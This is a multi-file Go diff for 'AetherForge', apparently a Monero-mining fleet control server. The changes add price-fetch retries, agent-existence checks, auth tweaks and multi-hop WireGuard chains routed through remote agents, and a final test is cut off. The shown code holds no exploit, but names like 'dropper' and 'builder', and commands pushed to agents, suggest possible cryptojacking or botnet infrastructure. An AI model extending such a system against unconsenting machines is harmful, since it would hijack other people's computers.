@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
} }
f.xmrPriceMu.Unlock() f.xmrPriceMu.Unlock()
client := &http.Client{Timeout: 8 * time.Second} usd, err := fetchCoinGeckoXMRPrice()
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
if err != nil { if err != nil {
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable) status := http.StatusServiceUnavailable
msg := err.Error()
if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
status = http.StatusBadGateway
}
http.Error(w, "price fetch failed: "+msg, status)
return return
} }
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
http.Error(w, "price parse failed", http.StatusBadGateway)
return
}
usd := raw["monero"]["usd"]
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()} entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
f.xmrPriceMu.Lock() f.xmrPriceMu.Lock()
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
}) })
} }
const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
func fetchCoinGeckoXMRPrice() (float64, error) {
client := &http.Client{Timeout: 8 * time.Second}
var lastErr error
for attempt := 0; attempt < 3; attempt++ {
if attempt > 0 {
time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
}
resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
if err != nil {
lastErr = err
continue
}
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
resp.Body.Close()
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
continue
}
if resp.StatusCode != http.StatusOK {
return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
}
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
return 0, fmt.Errorf("price parse failed")
}
return raw["monero"]["usd"], nil
}
if lastErr != nil {
return 0, lastErr
}
return 0, fmt.Errorf("price fetch failed")
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings. // GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) { func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r) f.GetEarnings(w, r)

View File

@@ -387,6 +387,32 @@ func TestFleetGetXMRPriceParseError(t *testing.T) {
} }
} }
func TestFleetGetXMRPriceRetriesOn429(t *testing.T) {
attempts := 0
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
attempts++
rec := httptest.NewRecorder()
if attempts < 2 {
rec.WriteHeader(http.StatusTooManyRequests)
_, _ = rec.Write([]byte(`{"error":"rate limit"}`))
return rec.Result(), nil
}
rec.Header().Set("Content-Type", "application/json")
_, _ = rec.Write([]byte(`{"monero":{"usd":123.45}}`))
return rec.Result(), nil
})
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
if rec.Code != http.StatusOK {
t.Fatalf("expected 200 after retry, got %d body %s", rec.Code, rec.Body.String())
}
if attempts < 2 {
t.Fatalf("expected retry on 429, attempts=%d", attempts)
}
}
func TestFleetEstimateXMRPerDay(t *testing.T) { func TestFleetEstimateXMRPerDay(t *testing.T) {
zero := EstimateXMRPerDay(0) zero := EstimateXMRPerDay(0)
if zero["xmr_per_day"].(float64) != 0 { if zero["xmr_per_day"].(float64) != 0 {

View File

@@ -58,6 +58,10 @@ func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
// GET /api/v1/agents/{id}/stats // GET /api/v1/agents/{id}/stats
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) { func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id") id := chi.URLParam(r, "id")
if _, err := h.db.GetAgent(id); err != nil {
http.Error(w, "Agent not found", http.StatusNotFound)
return
}
limitStr := r.URL.Query().Get("limit") limitStr := r.URL.Query().Get("limit")
limit := 100 limit := 100
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 { if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {

View File

@@ -64,8 +64,8 @@ func TestGetAgentStatsLimitCap(t *testing.T) {
r := chi.NewRouter() r := chi.NewRouter()
r.Get("/agents/{id}/stats", h.GetAgentStats) r.Get("/agents/{id}/stats", h.GetAgentStats)
r.ServeHTTP(rec, req) r.ServeHTTP(rec, req)
if rec.Code == http.StatusInternalServerError { if rec.Code != http.StatusNotFound {
t.Fatalf("limit cap caused 500: %s", rec.Body.String()) t.Fatalf("unknown agent should 404, got %d: %s", rec.Code, rec.Body.String())
} }
} }

View File

@@ -76,8 +76,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.MkdirAll(webRoot, 0755) _ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil) dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
} }
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -57,17 +57,61 @@ type TraceSession struct {
clientPubKey string clientPubKey string
} }
const (
pathTraceSessionTTL = 2 * time.Hour
pathTraceCleanupInterval = 5 * time.Minute
)
// PathTracerHandler manages on-demand WireGuard chain sessions. // PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct { type PathTracerHandler struct {
hub *WSHub hub *WSHub
mu sync.Mutex mu sync.Mutex
sessions map[string]*TraceSession sessions map[string]*TraceSession
stopCh chan struct{}
} }
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler { func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{ h := &PathTracerHandler{
hub: hub, hub: hub,
sessions: make(map[string]*TraceSession), sessions: make(map[string]*TraceSession),
stopCh: make(chan struct{}),
}
go h.sessionCleanupLoop()
return h
}
func (h *PathTracerHandler) sessionCleanupLoop() {
ticker := time.NewTicker(pathTraceCleanupInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
h.expireSessions()
case <-h.stopCh:
return
}
}
}
func (h *PathTracerHandler) expireSessions() {
now := time.Now()
var expired []*TraceSession
h.mu.Lock()
for id, sess := range h.sessions {
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
expired = append(expired, sess)
delete(h.sessions, id)
}
}
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
} }
} }
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if p == 0 { if p == 0 {
p = 51820 p = 51820
} }
// If UPnP failed, fall back to the IP the server saw. // If UPnP failed, fall back to the agent's last known IP in the DB.
ip := res.ExternalIP ip := res.ExternalIP
if ip == "" { if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil { if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
ip = hop.ExternalIP // pre-filled below ip = ag.IP
} }
} }
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p} results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
} }
// Phase 2: send wg_configure to each hop. // Phase 2: send wg_configure to each hop.
// Build per-hop configs: // Topology:
// - Last hop: peer = none (it's the exit), just IP forwarding // - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
// - Middle hops: peer = next hop // - Relay hops also peer forward to the next hop (0.0.0.0/0).
// - First hop: peer = next hop, or none if single-hop (client connects directly) // - Middle/exit hops peer back to the previous hop for reverse routing.
//
// The CLIENT config always points to the FIRST hop. // The CLIENT config always points to the FIRST hop.
type cfgResp struct { type cfgResp struct {
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
"local_address": hop.LocalAddr, "local_address": hop.LocalAddr,
"listen_port": hop.Port, "listen_port": hop.Port,
"enable_ip_forwarding": true, "enable_ip_forwarding": true,
} "peers": buildHopPeers(sess, i),
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
} }
dataJSON, _ := json.Marshal(payload) dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure") ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{ if err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command", Type: "command",
Payload: mustMarshal(map[string]interface{}{ Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "action": "wg_configure",
"data": string(dataJSON), "data": string(dataJSON),
}), }),
}) }); err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_configure")
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() { go func() {
select { select {
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady) log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
} }
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}
// Hop 1 is the client entry point — always accept the phone/client tunnel.
if i == 0 {
peers = append(peers, map[string]interface{}{
"public_key": sess.clientPubKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
// Forward peer: route outbound traffic to the next hop in the chain.
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
peers = append(peers, map[string]interface{}{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
})
}
// Reverse peer: return traffic toward the client via the previous hop.
if i > 0 {
prevHop := sess.Hops[i-1]
peers = append(peers, map[string]interface{}{
"public_key": prevHop.PublicKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
return peers
}
// buildClientConfig generates the WireGuard config text the user scans/imports. // buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string { func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock() h.mu.Lock()

View File

@@ -0,0 +1,378 @@
package api
import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
"github.com/gorilla/websocket"
)
func testTraceSession(hopCount int) *TraceSession {
sess := &TraceSession{
ID: "sess-test-12345678",
clientPubKey: "CLIENT_PUB_KEY_B64",
clientPrivKey: "CLIENT_PRIV_KEY_B64",
}
for i := 0; i < hopCount; i++ {
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: fmt.Sprintf("agent-%d", i+1),
PublicKey: fmt.Sprintf("HOP%d_PUB", i+1),
ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
Port: 51820 + i,
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2),
Status: HopReady,
})
}
return sess
}
func peerKeys(peers []map[string]interface{}) []string {
out := make([]string, 0, len(peers))
for _, p := range peers {
out = append(out, p["public_key"].(string))
}
return out
}
func TestBuildHopPeersSingleHop(t *testing.T) {
sess := testTraceSession(1)
peers := buildHopPeers(sess, 0)
if len(peers) != 1 {
t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
}
if peers[0]["public_key"] != sess.clientPubKey {
t.Fatalf("expected client peer, got %+v", peers[0])
}
if peers[0]["allowed_ips"] != "10.66.0.1/32" {
t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
}
if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
t.Fatal("client peer should not have endpoint")
}
}
func TestBuildHopPeersTwoHop(t *testing.T) {
sess := testTraceSession(2)
hop1 := buildHopPeers(sess, 0)
if len(hop1) != 2 {
t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
}
if peerKeys(hop1)[0] != sess.clientPubKey {
t.Fatal("hop1 first peer should be client")
}
if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
t.Fatal("hop1 second peer should be next hop")
}
hop2 := buildHopPeers(sess, 1)
if len(hop2) != 1 {
t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
}
if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
t.Fatal("exit hop should peer back to hop1")
}
if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
}
}
func TestBuildHopPeersThreeHop(t *testing.T) {
sess := testTraceSession(3)
mid := buildHopPeers(sess, 1)
if len(mid) != 2 {
t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
}
keys := peerKeys(mid)
if keys[0] != sess.Hops[2].PublicKey {
t.Fatal("middle hop forward peer should be hop3")
}
if keys[1] != sess.Hops[0].PublicKey {
t.Fatal("middle hop reverse peer should be hop1")
}
}
func TestPathTracerSessionExpiry(t *testing.T) {
hub := NewWSHub(nil)
h := NewPathTracerHandler(hub)
sess := &TraceSession{
ID: "expired-session-id",
CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
Hops: []*HopInfo{{AgentID: "gone-agent"}},
}
h.mu.Lock()
h.sessions[sess.ID] = sess
h.mu.Unlock()
h.expireSessions()
h.mu.Lock()
_, ok := h.sessions[sess.ID]
h.mu.Unlock()
if ok {
t.Fatal("expired session should be removed")
}
}
func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
t.Helper()
conn := connectTestAgent(t, hub, agentID)
go func() {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
action, _ := payload["action"].(string)
switch action {
case "wg_setup":
setup, _ := json.Marshal(map[string]interface{}{
"public_key": pubKey,
"external_ip": "198.51.100.10",
"external_port": 51820,
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_setup", "success": true, "message": string(setup),
})})
case "wg_configure":
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
case "wg_teardown":
return
}
}
}()
}
func TestPathTracerOrchestrationSingleHop(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agentID := "trace-agent-1"
startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
sessionID, _ := startResp["session_id"].(string)
if sessionID == "" {
t.Fatal("missing session_id")
}
deadline := time.Now().Add(5 * time.Second)
ready := false
for time.Now().Before(deadline) {
rc := chi.NewRouteContext()
rc.URLParams.Add("id", sessionID)
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
rec = httptest.NewRecorder()
handler.Status(rec, req2)
var status map[string]interface{}
_ = json.Unmarshal(rec.Body.Bytes(), &status)
if status["ready"] == true {
ready = true
break
}
time.Sleep(50 * time.Millisecond)
}
if !ready {
t.Fatal("session did not become ready in time")
}
handler.mu.Lock()
sess := handler.sessions[sessionID]
handler.mu.Unlock()
if sess == nil || !sess.Ready {
t.Fatalf("session not ready: %+v", sess)
}
if sess.clientPubKey == "" {
t.Fatal("client pubkey should be set")
}
}
func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agent1 := "hop-one"
agent2 := "hop-two"
conn1 := connectTestAgent(t, hub, agent1)
conn2 := connectTestAgent(t, hub, agent2)
var (
captured []map[string]interface{}
captureMu sync.Mutex
)
done := make(chan struct{})
var once sync.Once
respond := func(conn *websocket.Conn, pub string) {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
_ = json.Unmarshal(msg.Payload, &payload)
switch payload["action"] {
case "wg_setup":
setup, _ := json.Marshal(map[string]interface{}{
"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_setup", "success": true, "message": string(setup),
})})
case "wg_configure":
dataStr, _ := payload["data"].(string)
var cfg map[string]interface{}
_ = json.Unmarshal([]byte(dataStr), &cfg)
captureMu.Lock()
captured = append(captured, cfg)
n := len(captured)
captureMu.Unlock()
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
if n == 2 {
once.Do(func() { close(done) })
}
}
}
}
go respond(conn1, "PUB_HOP1")
go respond(conn2, "PUB_HOP2")
body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
var startResp map[string]interface{}
_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
sessionID := startResp["session_id"].(string)
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for wg_configure on both hops")
}
handler.mu.Lock()
sess := handler.sessions[sessionID]
handler.mu.Unlock()
if sess == nil {
t.Fatal("session missing")
}
// Hop1 configure payload must include client peer + forward to hop2.
var hop1Cfg map[string]interface{}
for _, cfg := range captured {
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
hop1Cfg = cfg
break
}
}
if hop1Cfg == nil {
t.Fatalf("missing hop1 config in captured: %+v", captured)
}
peers, _ := hop1Cfg["peers"].([]interface{})
if len(peers) != 2 {
t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
}
p0 := peers[0].(map[string]interface{})
if p0["public_key"] != sess.clientPubKey {
t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
}
p1 := peers[1].(map[string]interface{})
if p1["public_key"] != "PUB_HOP2" {
t.Fatalf("hop1 forward peer = %v", p1["public_key"])
}
// Hop2 (exit) must have reverse peer to hop1 only.
var hop2Cfg map[string]interface{}
for _, cfg := range captured {
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
hop2Cfg = cfg
break
}
}
peers2, _ := hop2Cfg["peers"].([]interface{})
if len(peers2) != 1 {
t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
}
if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
t.Fatal("hop2 should peer back to hop1")
}
}
func TestPathTracerBuildClientConfig(t *testing.T) {
hub := NewWSHub(nil)
h := NewPathTracerHandler(hub)
sess := testTraceSession(1)
sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
cfg := h.buildClientConfig(sess)
if !strings.Contains(cfg, sess.clientPrivKey) {
t.Fatal("config should include client private key")
}
if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
t.Fatal("config should peer to first hop")
}
if !strings.Contains(cfg, "10.66.0.1/24") {
t.Fatal("config should set client address")
}
}
func TestPathTracerStartValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
rec := httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
}

View File

@@ -15,6 +15,7 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"unicode"
"crypto-miner-server/internal/builder" "crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
@@ -342,6 +343,18 @@ func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string)
} }
// generateRandomPassword returns an 8-character password (4 random bytes as hex). // generateRandomPassword returns an 8-character password (4 random bytes as hex).
func validateDashboardUsername(username string) error {
if len(username) < 3 || len(username) > 32 {
return fmt.Errorf("username must be 3-32 characters")
}
for _, c := range username {
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
return fmt.Errorf("username contains invalid characters")
}
}
return nil
}
func generateRandomPassword() string { func generateRandomPassword() string {
b := make([]byte, 4) b := make([]byte, 4)
if _, err := rand.Read(b); err != nil { if _, err := rand.Read(b); err != nil {
@@ -371,12 +384,22 @@ func saveUser(username, password string) error {
return err return err
} }
usersMu.Unlock() usersMu.Unlock()
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
if err := upsertLoginSidecar(dataDir, username, password); err != nil { if err := upsertLoginSidecar(dataDir, username, password); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err) log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
} }
return nil return nil
} }
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that — only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
func basicAuthMiddleware(next http.Handler) http.Handler { func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodOptions { if r.Method == http.MethodOptions {
@@ -438,7 +461,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
user, pass, ok := r.BasicAuth() user, pass, ok := r.BasicAuth()
if !ok { if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) if !isSPAAuthRequest(r) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
}
http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
return return
} }
@@ -451,7 +476,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
usersMu.RUnlock() usersMu.RUnlock()
if !exists || !checkPassword(storedHash, pass) { if !exists || !checkPassword(storedHash, pass) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) if !isSPAAuthRequest(r) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
}
http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
return return
} }
@@ -463,7 +490,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}) })
} }
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler { func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir) ensureUsersLoaded(dataDir)
version := "AetherForge" version := "AetherForge"
@@ -482,7 +509,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// X-Fleet-Secret is required by agent-facing endpoints; include it so // X-Fleet-Secret is required by agent-facing endpoints; include it so
// browser-based callers (dev tools, custom dashboards) are not blocked // browser-based callers (dev tools, custom dashboards) are not blocked
// by CORS preflight when sending that header. // by CORS preflight when sending that header.
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"}, AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
AllowCredentials: false, AllowCredentials: false,
})) }))
@@ -492,13 +519,25 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
h := NewHandler(database) h := NewHandler(database)
r.Get("/health", h.HealthCheck) r.Get("/health", h.HealthCheck)
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
user := AuthUsername(req)
if user == "" {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
ticket := issueWSTicket(user)
writeJSON(w, map[string]interface{}{
"ticket": ticket,
"expires_in": int(wsTicketTTL.Seconds()),
})
})
r.Get("/server/ready", h.ServerReady) r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) { r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := "" override := ""
if publicURLOverride != nil { if publicURLOverride != nil {
override = publicURLOverride() override = publicURLOverride()
} }
GetServerInfo(w, r, override) GetServerInfo(w, r, override, listenPort)
}) })
// Dashboard // Dashboard
@@ -583,7 +622,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError) http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return return
} }
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."}) hint := newSecret
if n := len(hint); n > 8 {
hint = hint[:8] + "..."
} else if n > 0 {
hint += "..."
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
}) })
// User Management // User Management
@@ -592,8 +637,24 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
Username string `json:"username"` Username string `json:"username"`
Password string `json:"password"` Password string `json:"password"`
} }
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" { if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
http.Error(w, "Invalid username or password", http.StatusBadRequest) http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}
payload.Username = strings.TrimSpace(payload.Username)
if err := validateDashboardUsername(payload.Username); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
if len(payload.Password) < 4 || len(payload.Password) > 128 {
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
return
}
usersMu.RLock()
_, exists := authUsers[payload.Username]
usersMu.RUnlock()
if exists {
http.Error(w, "username already exists", http.StatusConflict)
return return
} }
if err := saveUser(payload.Username, payload.Password); err != nil { if err := saveUser(payload.Username, payload.Password); err != nil {

View File

@@ -179,6 +179,52 @@ func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
if rec.Code != http.StatusUnauthorized { if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code) t.Fatalf("expected 401, got %d", rec.Code)
} }
if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
}
}
func TestIsSPAAuthRequest(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
if isSPAAuthRequest(req) {
t.Fatal("bare request should not be SPA")
}
req.Header.Set("X-AetherForge-Client", "dashboard")
